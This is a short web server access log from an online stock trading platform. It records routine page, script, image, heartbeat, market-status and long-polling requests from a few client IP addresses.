[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767926353659 HTTP/1.1" 3188
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:34:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:10:34:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:10:34:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 294
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:34:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:34:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926340309 HTTP/1.1" -
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 208
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926356118 HTTP/1.1" -
[09/Jan/2026:10:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1683
[09/Jan/2026:10:34:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926346502 HTTP/1.1" -
[09/Jan/2026:10:34:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926344045 HTTP/1.1" -
[09/Jan/2026:10:34:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926345327 HTTP/1.1" -
[09/Jan/2026:10:34:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926361139 HTTP/1.1" -
[09/Jan/2026:10:34:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926351712 HTTP/1.1" -
[09/Jan/2026:10:34:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926350073 HTTP/1.1" -
[09/Jan/2026:10:34:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926350342 HTTP/1.1" -
[09/Jan/2026:10:34:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926366162 HTTP/1.1" -
[09/Jan/2026:10:34:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926356839 HTTP/1.1" -
[09/Jan/2026:10:34:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926355379 HTTP/1.1" -
[09/Jan/2026:10:34:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:34:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926371232 HTTP/1.1" -
[09/Jan/2026:10:34:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926356057 HTTP/1.1" -
[09/Jan/2026:10:34:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926361980 HTTP/1.1" -
[09/Jan/2026:10:34:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926360425 HTTP/1.1" -
[09/Jan/2026:10:34:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:34:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:34:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926376253 HTTP/1.1" -
[09/Jan/2026:10:34:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926362045 HTTP/1.1" -
[09/Jan/2026:10:34:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:34:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926367108 HTTP/1.1" -
[09/Jan/2026:10:34:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926365456 HTTP/1.1" -
[09/Jan/2026:10:34:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926381318 HTTP/1.1" -
[09/Jan/2026:10:34:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926368048 HTTP/1.1" -
[09/Jan/2026:10:35:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:35:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:35:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926372193 HTTP/1.1" -
[09/Jan/2026:10:35:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926370491 HTTP/1.1" -
[09/Jan/2026:10:35:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926386385 HTTP/1.1" -
[09/Jan/2026:10:35:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926374058 HTTP/1.1" -
[09/Jan/2026:10:35:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926377382 HTTP/1.1" -
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:10:35:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926375518 HTTP/1.1" -
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
